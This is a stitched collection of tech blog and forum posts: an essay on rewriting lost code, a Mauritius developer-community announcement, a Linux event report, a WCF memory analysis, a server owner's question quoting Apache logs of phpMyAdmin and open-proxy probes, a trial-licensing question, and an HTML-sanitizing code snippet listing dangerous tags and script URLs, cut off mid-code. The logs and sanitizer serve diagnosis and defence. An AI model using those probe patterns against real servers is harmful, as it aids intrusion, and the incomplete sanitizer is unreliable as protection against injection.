alternative, could one construct a source control system that, on doing all the code-quality metrics, would systematically destroy all trace of source code that failed the quality test? Alas, I can’t see many managers buying into the idea. In reading the full story of the near-loss of Toy Story 2, it set me thinking. It turned out that the lucky restoration of the code wasn’t the happy ending one first imagined it to be, because they eventually came to the conclusion that the plot was fundamentally flawed and it all had to be rewritten anyway.  Was this an early  case of the ‘source-control wet-job’?’ It is very hard nowadays to do a rapid U-turn in a development project because we are far too prone to cling to our existing source-code.

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  • Communities - The importance of exchange and discussion

    Communication with your environment is an essential part of everyone's life. And it doesn't matter whether you are actually living in a rural area in the middle of nowhere, within the pulsating heart of a big city, or in my case on a wonderful island in the Indian Ocean. The ability to exchange your thoughts, your experience and your worries with another person helps you to get different points of view and new ideas on how to resolve an issue you might be confronted with. Benefits of community work What happens to be common sense in your daily life, also applies to your work environment. Working in IT, or ICT as it is called in Mauritius, requires a lot of reading and learning. Not only during your lectures at the university but with your colleagues in a project assignment and hopefully with 'unknown' pals in the universe of online communities. At least I can say that I learned quite a lot from other developers code, their responses in various forums, their numerous blog articles, and while attending local user group meetings. When I started to work as a professional software developer (or engineer some may say) years ago I immediately checked the existence of communities on the programming language, the database technology and other vital information on software development in general. Luckily, it wasn't too difficult to find. My employer had a subscription of the monthly magazines and newsletters of a national organisation which also run the biggest forum in that area. Getting in touch with other developers and reading their common problems but also solutions was a huge benefit to my growth. Image courtesy of Michael Kappel (CC BY-NC 2.0) Active participation and regular contribution to this community gave me some nice advantages, too. Within three years I was listed as a conference speaker at the annual developer's conference and provided several sessions on different topics during consecutive years. Back in 2004, I took over the responsibility and management of the monthly meetings of a regional user group, and organised it for more than two years. Furthermore, I was invited to the newly-founded community program of Microsoft Germany (Community Leader/Insider Program - CLIP). My website on Active FoxPro Pages was nominated in the second batch of online communities. Due to my community work and providing advice to others, I had the honour to be awarded as Microsoft Most Valuable Professional (MVP) - Visual Developer for Visual FoxPro in the years 2006 and 2007. It was a great experience to meet with other like-minded people and I'm really grateful for that. Just in case, more details are listed in my Curriculum Vitae. But this all changed when I moved to Mauritius... Cyber island Mauritius? During the first months in Mauritius I was way too busy to think about community activities at all. First of all, there was the new company that had to be set up, the new staff had to be trained and of course the communication work-flows and so on with the project managers back in Germany had to be sorted out, too. Second, I had to get a grip of my private matters like getting the basics for my new household or exploring the neighbourhood, and last but not least I needed a break from the hectic and intensive work prior to my departure. As soon as the sea literally calmed down, I started to have conversations with my colleagues about communities and user groups. Sadly, it turned out that there were none, or at least no one was aware of any at that time. Oh oh, what did I do? Anyway, having this kind of background and very positive experience with off-line and on-line activities I decided for myself that some day I'm going to found a community in Mauritius for all kind of IT/ICT-related fields. The main focus might be on software development but not on a certain technology or methodology. It was clear to me that it should be an open infrastructure and anyone is welcome to join, to experience, to share and to contribute if they would like to. That was the idea at that time... Ok, fast-forward to recent events. At the end of October 2012 I was invited to an event called Open Days organised by Microsoft Indian Ocean Islands together with other local partners and resellers. There I got in touch with local Technical Evangelist Arnaud Meslier and we had a good conversation on communities during the breaks. Eventually, I left a good impression on him, as we are having chats on Facebook or Skype irregularly. Well, seeing that my personal and professional surroundings have been settled and running smooth, having that great exchange and contact with Microsoft IOI (again), and being really eager to re-animate my intentions from 2007, I recently founded a new community: Mauritius Software Craftsmanship Community - #MSCC It took me a while to settle down with the name but it was obvious that the community should not be attached to one single technology, like ie. .NET user group, Oracle developers, or Joomla friends (these are fictitious names). There are several other reasons why I came up with 'Craftsmanship' as the core topic of this community. The expression of 'engineering' didn't feel right with the fields covered. Software development in all kind of facets is a craft, and therefore demands a lot of practice but also guidance from more experienced developers. It also includes the process of designing, modelling and drafting the ideas. Has to deal with various types of tests and test methodologies, and of course should be focused on flexible and agile ways of acting. In order to meet and to excel a customer's request for a solution. Next, I was looking for an easy way to handle the organisation of events and meeting appointments. Using all kind of social media platforms like Google+, LinkedIn, Facebook, Xing, etc. I was never really confident about their features of event handling. More by chance I stumbled upon Meetup.com and in combination with the other entities (G+ Communities, FB Pages or in Groups) I am looking forward to advertise and manage all future activities here: Mauritius Software Craftsmanship Community This is a community for those who care and are proud of what they do. For those developers, regardless how experienced they are, who want to improve and master their craft. This is a community for those who believe that being average is just not good enough. I know, there are not many 'craftsmen' yet but it's a start... Let's see how it looks like by the end of the year. There are free smartphone apps for Android and iOS from Meetup.com that allow you to keep track of meetings and to stay informed on latest updates. And last but not least, there will be a Trello workspace to collect and share ideas and provide downloads of slides, etc. Sharing is caring! As mentioned, the #MSCC is present in various social media networks in order to cover as many people as possible here in Mauritius. Following is an overview of the current networks: Twitter - Latest updates and quickies Google+ - Community channel Facebook - Community Page LinkedIn - Community Group Trello - Collaboration workspace to share and develop ideas Hopefully, this covers the majority of computer-related people in Mauritius. Please spread the word about the #MSCC between your colleagues, your friends and other interested 'geeks'. Your future looks bright Running and participating in a user group or any kind of community usually provides quite a number of advantages for anyone. On the one side it is very joyful for me to organise appointments and get in touch with people that might be interested to present a little demo of their projects or their recent problems they had to tackle down, and on the other side there are lots of companies that have various support programs or sponsorships especially tailored for user groups. At the moment, I already have a couple of gimmicks that I would like to hand out in small contests or raffles during one of the upcoming meetings, and as said, companies provide all kind of goodies, books free of charge, or sometimes even licenses for communities. Meeting other software developers or IT guys also opens up your point of view on the local market and there might be interesting projects or job offers available, too. A community like the Mauritius Software Craftsmanship Community is great for freelancers, self-employed, students and of course employees. Meetings will be organised on a regular basis, and I'm open to all kind of suggestions from you. Please leave a comment here in blog or join the conversations in the above mentioned social networks. Let's get this community up and running, my fellow Mauritians!

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  • Corsair Hackers Reboot

    It wasn't easy for me to attend but it was absolutely worth to go. The Linux User Group of Mauritius (LUGM) organised another get-together for any open source enthusiast here on the island. Strangely named "Corsair Hackers Reboot" but it stands for a positive cause: "Corsair Hackers Reboot Event A collaborative activity involving LUGM, UoM Computer Club, Fortune Way Shopping Mall and several geeks from around the island, striving to put FOSS into homes & offices. The public is invited to discover and explore Free Software & Open Source." And it was a good opportunity for me and the kids to visit the east coast of Mauritius, too. Perfect timing It couldn't have been better... Why? Well, for two important reasons (in terms of IT): End of support for Microsoft Windows XP - 08.04.2014 Release of Ubuntu 14.04 Long Term Support - 17.04.2014 Quite funnily, those two IT dates weren't the initial reasons and only during the weeks of preparations we put those together. And therefore it was even more positive to promote the use of Linux and open source software in general to a broader audience. Getting there ... Thanks to the new motor way M3 and all the additional road work which has been completed recently it was very simple to get across the island in a very quick and relaxed manner. Compared to my trips in the early days of living in Mauritius (and riding on a scooter) it was very smooth and within less than an hour we hit Centrale de Flacq. Well, being in the city doesn't necessarily mean that one has arrived at the destination. But thanks to modern technology I had a quick look on Google Maps, and we finally managed to get a parking behind the huge bus terminal in Flacq. From there it was just a short walk to Fortune Way. The children were trying to count the number of buses... Well, lots and lots of buses - really impressive actually. What was presented? There were different areas set up. Right at the entrance one's attention was directly drawn towards the elevated hacker's stage. Similar to rock stars performing their gig there was bunch of computers, laptops and networking equipment in order to cater the right working conditions for coding/programming challenge(s) on the one hand and for the pen-testing or system hacking competition on the other hand. Personally, I was very impresses that actually Nitin took care of the pen-testing competition. He hardly started one year back with Linux in general, and Kali Linux specifically. Seeing his personal development from absolute newbie to a decent Linux system administrator within such a short period of time, is really impressive. His passion to open source software made him a living. Next, clock-wise seen, was the Kid's Corner with face-painting as the main attraction. Additionally, there were numerous paper print outs to colour. Plus a decent workstation with the educational suite GCompris. Of course, my little ones were into that. They already know GCompris since a while as they are allowed to use it on an IGEL thin client terminal here at home. To simplify my life, I set up GCompris as full-screen guest session on the server, and they can pass the login screen without any further obstacles. And because it's a thin client hooked up to a XDMCP remote session I don't have to worry about the hardware on their desk, too. The next section was the main attraction of the event: BYOD - Bring Your Own Device Well, compared to the usual context of BYOD the corsairs had a completely different intention. Here, you could bring your own laptop and a team of knowledgeable experts - read: geeks and so on - offered to fully convert your system on any Linux distribution of your choice. And even though I came later, I was told that the USB pen drives had been in permanent use. From being prepared via dd command over launching LiveCD session to finally installing a fresh Linux system on bare metal. Most interestingly, I did a similar job already a couple of months ago, while upgrading an existing Windows XP system to Xubuntu 13.10. So far, the female owner is very happy and enjoys her system almost every evening to go shopping online, checking mails, and reading latest news from the Anime world. Back to the Hackers event, Ish told me that they managed approximately 20 conversion during the day. Furthermore, Ajay and others gladly assisted some visitors with some tricky issues and by the end of the day you can call is a success. While I was around, there was a elderly male visitor that got a full-fledged system conversion to a Linux system running completely in French language. A little bit more to the centre it was Yasir's turn to demonstrate his Arduino hardware that he hooked up with an experimental electrical circuit board connected to an LCD matrix display. That's the real spirit of hacking, and he showed some minor adjustments on the fly while demo'ing the system. Also, very interesting there was a thermal sensor around. Personally, I think that platforms like the Arduino as well as the Raspberry Pi have a great potential at a very affordable price in order to bring a better understanding of electronics as well as computer programming to a broader audience. It would be great to see more of those experiments during future activities. And last but not least there were a small number of vendors. Amongst them was Emtel - once again as sponsor of the general internet connectivity - and another hardware supplier from Riche Terre shopping mall. They had a good collection of Android related gimmicks, like a autonomous web cam that can convert any TV with HDMI connector into an online video chat system given WiFi. It's actually kind of awesome to have a Skype or Google hangout video session on the big screen rather than on the laptop. Some pictures of the event LUGM: Great conversations on Linux, open source and free software during the Corsair Hackers Reboot LUGM: Educational workstation running GCompris suite attracted the youngest attendees of the day. Of course, face painting had to be done prior to hacking... LUGM: Nadim demoing some Linux specifics to interested visitors. Everyone was pretty busy during the whole day LUGM: The hacking competition, here pen-testing a wireless connection and access point between multiple machines LUGM: Well prepared workstations to be able to 'upgrade' visitors' machines to any Linux operating system Final thoughts Gratefully, during the preparations of the event I was invited to leave some comments or suggestions, and the team of the LUGM did a great job. The outdoor banner was a eye-catcher, the various flyers and posters for the event were clearly written and as far as I understood from the quick chats I had with Ish, Nadim, Nitin, Ajay, and of course others all were very happy about the event execution. Great job, LUGM! And I'm already looking forward to the next Corsair Hackers Reboot event ... Crossing fingers: Very soon and hopefully this year again :) Update: In the media The event had been announced in local media, too. L'Express: Salon informatique: Hacking Challenge à Flacq

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  • Source-control 'wet-work'?

    - by Phil Factor
    When a design or creative work is flawed beyond remedy, it is often best to destroy it and start again. The other day, I lost the code to a long and intricate SQL batch I was working on. I’d thought it was impossible, but it happened. With all the technology around that is designed to prevent this occurring, this sort of accident has become a rare event.  If it weren’t for a deranged laptop, and my distraction, the code wouldn’t have been lost this time.  As always, I sighed, had a soothing cup of tea, and typed it all in again.  The new code I hastily tapped in  was much better: I’d held in my head the essence of how the code should work rather than the details: I now knew for certain  the start point, the end, and how it should be achieved. Instantly the detritus of half-baked thoughts fell away and I was able to write logical code that performed better.  Because I could work so quickly, I was able to hold the details of all the columns and variables in my head, and the dynamics of the flow of data. It was, in fact, easier and quicker to start from scratch rather than tidy up and refactor the existing code with its inevitable fumbling and half-baked ideas. What a shame that technology is now so good that developers rarely experience the cleansing shock of losing one’s code and having to rewrite it from scratch.  If you’ve never accidentally lost  your code, then it is worth doing it deliberately once for the experience. Creative people have, until Technology mistakenly prevented it, torn up their drafts or sketches, threw them in the bin, and started again from scratch.  Leonardo’s obsessive reworking of the Mona Lisa was renowned because it was so unusual:  Most artists have been utterly ruthless in destroying work that didn’t quite make it. Authors are particularly keen on writing afresh, and the results are generally positive. Lawrence of Arabia actually lost the entire 250,000 word manuscript of ‘The Seven Pillars of Wisdom’ by accidentally leaving it on a train at Reading station, before rewriting a much better version.  Now, any writer or artist is seduced by technology into altering or refining their work rather than casting it dramatically in the bin or setting a light to it on a bonfire, and rewriting it from the blank page.  It is easy to pick away at a flawed work, but the real creative process is far more brutal. Once, many years ago whilst running a software house that supplied commercial software to local businesses, I’d been supervising an accounting system for a farming cooperative. No packaged system met their needs, and it was all hand-cut code.  For us, it represented a breakthrough as it was for a government organisation, and success would guarantee more contracts. As you’ve probably guessed, the code got mangled in a disk crash just a week before the deadline for delivery, and the many backups all proved to be entirely corrupted by a faulty tape drive.  There were some fragments left on individual machines, but they were all of different versions.  The developers were in despair.  Strangely, I managed to re-write the bulk of a three-month project in a manic and caffeine-soaked weekend.  Sure, that elegant universally-applicable input-form routine was‘nt quite so elegant, but it didn’t really need to be as we knew what forms it needed to support.  Yes, the code lacked architectural elegance and reusability. By dawn on Monday, the application passed its integration tests. The developers rose to the occasion after I’d collapsed, and tidied up what I’d done, though they were reproachful that some of the style and elegance had gone out of the application. By the delivery date, we were able to install it. It was a smaller, faster application than the beta they’d seen and the user-interface had a new, rather Spartan, appearance that we swore was done to conform to the latest in user-interface guidelines. (we switched to Helvetica font to look more ‘Bauhaus’ ). The client was so delighted that he forgave the new bugs that had crept in. I still have the disk that crashed, up in the attic. In IT, we have had mixed experiences from complete re-writes. Lotus 123 never really recovered from a complete rewrite from assembler into C, Borland made the mistake with Arago and Quattro Pro  and Netscape’s complete rewrite of their Navigator 4 browser was a white-knuckle ride. In all cases, the decision to rewrite was a result of extreme circumstances where no other course of action seemed possible.   The rewrite didn’t come out of the blue. I prefer to remember the rewrite of Minix by young Linus Torvalds, or the rewrite of Bitkeeper by a slightly older Linus.  The rewrite of CP/M didn’t do too badly either, did it? Come to think of it, the guy who decided to rewrite the windowing system of the Xerox Star never regretted the decision. I’ll agree that one should often resist calls for a rewrite. One of the worst habits of the more inexperienced programmer is to denigrate whatever code he or she inherits, and then call loudly for a complete rewrite. They are buoyed up by the mistaken belief that they can do better. This, however, is a different psychological phenomenon, more related to the idea of some motorcyclists that they are operating on infinite lives, or the occasional squaddies that if they charge the machine-guns determinedly enough all will be well. Grim experience brings out the humility in any experienced programmer.  I’m referring to quite different circumstances here. Where a team knows the requirements perfectly, are of one mind on methodology and coding standards, and they already have a solution, then what is wrong with considering  a complete rewrite? Rewrites are so painful in the early stages, until that point where one realises the payoff, that even I quail at the thought. One needs a natural disaster to push one over the edge. The trouble is that source-control systems, and disaster recovery systems, are just too good nowadays.   If I were to lose this draft of this very blog post, I know I’d rewrite it much better. However, if you read this, you’ll know I didn’t have the nerve to delete it and start again.  There was a time that one prayed that unreliable hardware would deliver you from an unmaintainable mess of a codebase, but now technology has made us almost entirely immune to such a merciful act of God. An old friend of mine with long experience in the software industry has long had the idea of the ‘source-control wet-work’,  where one hires a malicious hacker in some wild eastern country to hack into one’s own  source control system to destroy all trace of the source to an application. Alas, backup systems are just too good to make this any more than a pipedream. Somehow, it would be difficult to promote the idea. As an alternative, could one construct a source control system that, on doing all the code-quality metrics, would systematically destroy all trace of source code that failed the quality test? Alas, I can’t see many managers buying into the idea. In reading the full story of the near-loss of Toy Story 2, it set me thinking. It turned out that the lucky restoration of the code wasn’t the happy ending one first imagined it to be, because they eventually came to the conclusion that the plot was fundamentally flawed and it all had to be rewritten anyway.  Was this an early  case of the ‘source-control wet-job’?’ It is very hard nowadays to do a rapid U-turn in a development project because we are far too prone to cling to our existing source-code.

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  • Different Not Automatically Implies Better

    - by Alois Kraus
    Originally posted on: http://geekswithblogs.net/akraus1/archive/2013/11/05/154556.aspxRecently I was digging deeper why some WCF hosted workflow application did consume quite a lot of memory although it did basically only load a xaml workflow. The first tool of choice is Process Explorer or even better Process Hacker (has more options and the best feature copy&paste does work). The three most important numbers of a process with regards to memory are Working Set, Private Working Set and Private Bytes. Working set is the currently consumed physical memory (parts can be shared between processes e.g. loaded dlls which are read only) Private Working Set is the physical memory needed by this process which is not shareable Private Bytes is the number of non shareable which is only visible in the current process (e.g. all new, malloc, VirtualAlloc calls do create private bytes) When you have a bigger workflow it can consume under 64 bit easily 500MB for a 1-2 MB xaml file. This does not look very scalable. Under 64 bit the issue is excessive private bytes consumption and not the managed heap. The picture is quite different for 32 bit which looks a bit strange but it seems that the hosted VB compiler is a lot less memory hungry under 32 bit. I did try to repro the issue with a medium sized xaml file (400KB) which does contain 1000 variables and 1000 if which can be represented by C# code like this: string Var1; string Var2; ... string Var1000; if (!String.IsNullOrEmpty(Var1) ) { Console.WriteLine(“Var1”); } if (!String.IsNullOrEmpty(Var2) ) { Console.WriteLine(“Var2”); } ....   Since WF is based on VB.NET expressions you are bound to the hosted VB.NET compiler which does result in (x64) 140 MB of private bytes which is ca. 140 KB for each if clause which is quite a lot if you think about the actually present functionality. But there is hope. .NET 4.5 does allow now C# expressions for WF which is a major step forward for all C# lovers. I did create some simple patcher to “cross compile” my xaml to C# expressions. Lets look at the result: C# Expressions VB Expressions x86 x86 On my home machine I have only 32 bit which gives you quite exactly half of the memory consumption under 64 bit. C# expressions are 10 times more memory hungry than VB.NET expressions! I wanted to do more with less memory but instead it did consume a magnitude more memory. That is surprising to say the least. The workflow does initialize in about the same time under x64 and x86 where the VB code does it in 2s whereas the C# version needs 18s. Also nearly ten times slower. That is a too high price to pay for any bigger sized xaml workflow to convert from VB.NET to C# expressions. If I do reduce the number of expressions to 500 then it does need 400MB which is about half of the memory. It seems that the cost per if does rise linear with the number of total expressions in a xaml workflow.  Expression Language Cost per IF Startup Time C# 1000 Ifs x64 1,5 MB 18s C# 500 Ifs x64 750 KB 9s VB 1000 Ifs x64 140 KB 2s VB 500 Ifs x64 70 KB 1s Now we can directly compare two MS implementations. It is clear that the VB.NET compiler uses the same underlying structure but it has much higher offset compared to the highly inefficient C# expression compiler. I have filed a connect bug here with a harsher wording about recent advances in memory consumption. The funniest thing is that one MS employee did give an Azure AppFabric demo around early 2011 which was so slow that he needed to investigate with xperf. He was after startup time and the call stacks with regards to VB.NET expression compilation were remarkably similar. In fact I only found this post by googling for parts of my call stacks. … “C# expressions will be coming soon to WF, and that will have different performance characteristics than VB” … What did he know Jan 2011 what I did no know until today? ;-). He knew that C# expression will come but that they will not be automatically have better footprint. It is about time to fix that. In its current state C# expressions are not usable for bigger workflows. That also explains the headline for today. You can cheat startup time by prestarting workflows so that the demo looks nice and snappy but it does hurt scalability a lot since you do need much more memory than necessary. I did find the stacks by enabling virtual allocation tracking within XPerf which is still the best tool out there. But first you need to look at your process to check where the memory is hiding: For the C# Expression compiler you do not need xperf. You can directly dump the managed heap and check with a profiler of your choice. But if the allocations are happening on the Private Data ( VirtualAlloc ) you can find it with xperf. There is a nice video on channel 9 explaining VirtualAlloc tracking it in greater detail. If your data allocations are on the Heap it does mean that the C/C++ runtime did create a heap for you where all malloc, new calls do allocate from it. You can enable heap tracing with xperf and full call stack support as well which is doable via xperf like it is shown also on channel 9. Or you can use WPRUI directly: To make “Heap Usage” it work you need to set for your executable the tracing flags (before you start it). For example devenv.exe HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\devenv.exe DWORD TracingFlags 1 Do not forget to disable it after you did complete profiling the process or it will impact the startup time quite a lot. You can with xperf attach directly to a running process and collect heap allocation information from a gone wild process. Very handy if you need to find out what a process was doing which has arrived in a funny state. “VirtualAlloc usage” does work without explicitly enabling stuff for a specific process and is always on machine wide. I had issues on my Windows 7 machines with the call stack collection and the latest Windows 8.1 Performance Toolkit. I was told that WPA from Windows 8.0 should work fine but I do not want to downgrade.

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  • Linux Server hacked?

    - by user115848
    I'm trying to determine if this linex webserver/openfire server has been compromised by some form of malware or a hacker. Can you please help me determine if this server has been hacked? The snippet of logs below are from the linux server running apache. A few days ago the moodle site, which is installed on the server, started to render the apache default page. Also the access logs show some activity im not sure of. Please see logs below. 85.190.0.3 - - [02/Apr/2012:13:31:01 -0600] "CONNECT 213.92.8.7:31204 HTTP/1.0" 405 303 "-" "-" 85.190.0.3 - - [02/Apr/2012:13:31:01 -0600] "CONNECT 213.92.8.7:31204 HTTP/1.0" 405 303 "-" "-" 99.41.69.92 - - [02/Apr/2012:13:33:35 -0600] "GET /files/externallibs.php HTTP/1.1" 404 306 "-" "curl/7.18.0 (x86_64-pc-linux-gnu) libcurl/7.18.0 OpenSSL/0.9.8g zlib/1.2.3.3 libidn/1.1" 212.34.151.92 - - [02/Apr/2012:14:01:46 -0600] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 305 "-" "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]" 212.34.151.92 - - [02/Apr/2012:14:01:46 -0600] "POST /phpmyadmin/scripts/setup.php HTTP/1.1" 404 305 "http://173.164.35.181/phpmyadmin/scripts/setup.php\r" "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]" 82.223.140.4 - - [02/Apr/2012:14:05:03 -0600] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 305 "-" "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]" 82.223.140.4 - - [02/Apr/2012:14:05:04 -0600] "POST /phpmyadmin/scripts/setup.php HTTP/1.1" 404 305 "_http://173.164.35.181/phpmyadmin/scripts/setup.php\r" "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]" 10.0.0.100 - - [02/Apr/2012:14:25:35 -0600] "GET / HTTP/1.1" 403 5043 "-" "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.15) Gecko/20110330 CentOS/3.6-1.el5.centos Firefox/3.6.15" 10.0.0.100 - - [02/Apr/2012:14:25:38 -0600] "GET /favicon.ico HTTP/1.1" 404 295 "-" "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.15) Gecko/20110330 CentOS/3.6-1.el5.centos Firefox/3.6.15" 50.17.41.60 - - [02/Apr/2012:14:27:29 -0600] "HEAD /icons/apache_pb.gif HTTP/1.0" 200 - "-" "Mozilla/5.0 (compatible; NetcraftSurveyAgent/1.0; [email protected])" 85.190.0.3 - - [02/Apr/2012:14:42:33 -0600] "CONNECT 213.92.8.7:31204 HTTP/1.0" 405 303 "-" "-" 85.190.0.3 - - [02/Apr/2012:14:42:33 -0600] "POST _http://vlad-tepes.bofh.it/freenode-proxy-checker.txt HTTP/1.0" 404 307 "-" "-" 85.190.0.3 - - [02/Apr/2012:14:42:33 -0600] "GET _http://vlad-tepes.bofh.it/freenode-proxy-checker.txt HTTP/1.0" 404 307 "-" "-" 85.190.0.3 - - [02/Apr/2012:14:42:36 -0600] "CONNECT 213.92.8.7:31204 HTTP/1.0" 405 303 "-" "-" 85.190.0.3 - - [02/Apr/2012:15:03:48 -0600] "POST _http://vlad-tepes.bofh.it/freenode-proxy-checker.txt HTTP/1.0" 404 307 "-" "-" 85.190.0.3 - - [02/Apr/2012:15:03:48 -0600] "GET _http://vlad-tepes.bofh.it/freenode-proxy-checker.txt HTTP/1.0" 404 307 "-" "-" 85.190.0.3 - - [02/Apr/2012:15:03:48 -0600] "CONNECT 213.92.8.7:31204 HTTP/1.0" 405 303 "-" "-" 85.190.0.3 - - [02/Apr/2012:15:03:48 -0600] "CONNECT 213.92.8.7:31204 HTTP/1.0" 405 303 "-" "-" 66.233.63.54 - - [02/Apr/2012:15:12:19 -0600] "GET /files/externallibs.php HTTP/1.1" 404 306 "-" "Mozilla/5.0 (Windows NT 6.0; WOW64; rv:11.0) Gecko/20100101 Firefox/11.0" 70.114.161.135 - - [02/Apr/2012:15:17:12 -0600] "GET /files/externallibs.php HTTP/1.1" 404 306 "-" "Mozilla/5.0 (Windows NT 5.1; rv:11.0) Gecko/20100101 Firefox/11.0" 99.41.69.231 - - [02/Apr/2012:15:52:21 -0600] "GET /files/externallibs.php HTTP/1.1" 404 306 "-" "curl/7.18.0 (x86_64-pc-linux-gnu) libcurl/7.18.0 OpenSSL/0.9.8g zlib/1.2.3.3 libidn/1.1" 85.190.0.3 - - [02/Apr/2012:15:55:40 -0600] "GET _http://vlad-tepes.bofh.it/freenode-proxy-checker.txt HTTP/1.0" 404 307 "-" "-" 85.190.0.3 - - [02/Apr/2012:15:55:40 -0600] "POST _http://vlad-tepes.bofh.it/freenode-proxy-checker.txt HTTP/1.0" 404 307 "-" "-" 85.190.0.3 - - [02/Apr/2012:15:55:40 -0600] "CONNECT 213.92.8.7:31204 HTTP/1.0" 405 303 "-" "-" 85.190.0.3 - - [02/Apr/2012:15:55:40 -0600] "CONNECT 213.92.8.7:31204 HTTP/1.0" 405 303 "-" "-" 10.0.0.253 - - [02/Apr/2012:16:01:45 -0600] "GET / HTTP/1.1" 403 5043 "-" "WWW-Mechanize/1.0.0 (http://rubyforge.org/projects/mechanize/)" 10.0.0.253 - - [02/Apr/2012:16:02:27 -0600] "GET / HTTP/1.1" 403 5043 "-" "WWW-Mechanize/1.0.0 (http://rubyforge.org/projects/mechanize/)" 85.190.0.3 - - [02/Apr/2012:16:13:40 -0600] "POST _http://vlad-tepes.bofh.it/freenode-proxy-checker.txt HTTP/1.0" 404 307 "-" "-" 85.190.0.3 - - [02/Apr/2012:16:13:40 -0600] "CONNECT 213.92.8.7:31204 HTTP/1.0" 405 303 "-" "-" 85.190.0.3 - - [02/Apr/2012:16:13:40 -0600] "GET _http://vlad-tepes.bofh.it/freenode-proxy-checker.txt HTTP/1.0" 404 307 "-" "-" 85.190.0.3 - - [02/Apr/2012:16:13:40 -0600] "CONNECT 213.92.8.7:31204 HTTP/1.0" 405 303 "-" "-" 89.135.124.125 - - [02/Apr/2012:16:20:47 -0600] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 305 "_http://173.164.35.181/phpmyadmin/scripts/setup.php" "Opera" 89.135.124.125 - - [02/Apr/2012:16:20:48 -0600] "POST /phpmyadmin/scripts/setup.php HTTP/1.1" 404 305 "_http://173.164.35.181/phpmyadmin/scripts/setup.php" "Opera" 85.190.0.3 - - [02/Apr/2012:16:29:59 -0600] "CONNECT 213.92.8.7:31204 HTTP/1.0" 405 303 "-" "-" 85.190.0.3 - - [02/Apr/2012:16:29:59 -0600] "GET http://vlad-tepes.bofh.it/freenode-proxy-checker.txt HTTP/1.0" 404 307 "-" "-" 85.190.0.3 - - [02/Apr/2012:16:29:59 -0600] "CONNECT 213.92.8.7:31204 HTTP/1.0" 405 303 "-" "-" 85.190.0.3 - - [02/Apr/2012:16:29:59 -0600] "POST http://vlad-tepes.bofh.it/freenode-proxy-checker.txt HTTP/1.0" 404 307 "-" "-"

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  • Where to Store the Protection Trial Info for Software Protection Purpose

    - by Peter Lee
    It might be duplicate with other questions, but I swear that I googled a lot and search at StackOverflow.com a lot, and I cannot find the answer to my question: In a C#.Net application, where to store the protection trial info, such as Expiration Date, Number of Used Times? I understand that, all kinds of Software Protection strategies can be cracked by a sophiscated hacker (because they can almost always get around the expiration checking step). But what I'm now going to do is just to protect it in a reasonable manner that a "common"/"advanced" user cannot screw it up. OK, in order to proof that I have googled and searched a lot at StackOverflow.com, I'm listing all the possible strategies I got: 1. Registry Entry First, some users might not have the access to even read the Registry table. Second, if we put the Protection Trial Info in a Registry Entry, the user can always find it out where it is by comparing the differences before and after the software installation. They can just simply change it. OK, you might say that we should encrypt the Protection Trial Info, yes we can do that. But what if the user just change their system date before installing? OK, you might say that we should also put a last-used date, if something is wrong, the last-used date could work as a protection guide. But what if the user just uninstall the software and delete all Registry Entries related to this software, and then reinstall the software? I have no idea on how to deal with this. Please help. A Plain File First, there are some places to put the plain file: 2.a) a simple XML file under software installation path 2.b) configuration file Again, the user can just uninstall the software and remove these plain file(s), and reinstall the software. - The Software Itself If we put the protection trial info (Expiration Date, we cannot put Number of Used Times) in the software itself, it is still susceptible to the cases I mentioned above. Furthermore, it's not even cool to do so. - A Trial Product-Key It works like a licensing process, that is, we put the Trial info into an RSA-signed string. However, it requires too many steps for a user to have a try of using the software (they might lose patience): 4.a) The user downloads the software; 4.b) The user sends an email to request a Trial Product-Key by providing user name (or email) or hardware info; 4.c) The server receives the request, RSA-signs it and send back to the user; 4.d) The user can now use it under the condition of (Expiration Date & Number of Used Times). Now, the server has a record of the user's username or hardware info, so the user will be rejected to request a second trial. Is it legal to collection hardware info? In a word, the user has to do one more extra step (request a Trial Product Key) just for having a try of using the software, which is not cool (thinking myself as a user). NOTE: This question is not about the Licensing, instead, it's about where to store the TRIAL info. After the trial expires, the user should ask for a license (CD-Key/Product-Key). I'm going to use RSA signature (bound to User Hardware)

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  • Can this be improved? Scrubbing of dangerous html tags.

    - by chobo2
    I been finding that for something that I consider pretty import there is very little information or libraries on how to deal with this problem. I found this while searching. I really don't know all the million ways that a hacker could try to insert the dangerous tags. I have a rich html editor so I need to keep non dangerous tags but strip out bad ones. So is this script missing anything? It uses html agility pack. public string ScrubHTML(string html) { HtmlDocument doc = new HtmlDocument(); doc.LoadHtml(html); //Remove potentially harmful elements HtmlNodeCollection nc = doc.DocumentNode.SelectNodes("//script|//link|//iframe|//frameset|//frame|//applet|//object|//embed"); if (nc != null) { foreach (HtmlNode node in nc) { node.ParentNode.RemoveChild(node, false); } } //remove hrefs to java/j/vbscript URLs nc = doc.DocumentNode.SelectNodes("//a[starts-with(translate(@href, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyz'), 'javascript')]|//a[starts-with(translate(@href, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyz'), 'jscript')]|//a[starts-with(translate(@href, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyz'), 'vbscript')]"); if (nc != null) { foreach (HtmlNode node in nc) { node.SetAttributeValue("href", "#"); } } //remove img with refs to java/j/vbscript URLs nc = doc.DocumentNode.SelectNodes("//img[starts-with(translate(@src, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyz'), 'javascript')]|//img[starts-with(translate(@src, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyz'), 'jscript')]|//img[starts-with(translate(@src, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyz'), 'vbscript')]"); if (nc != null) { foreach 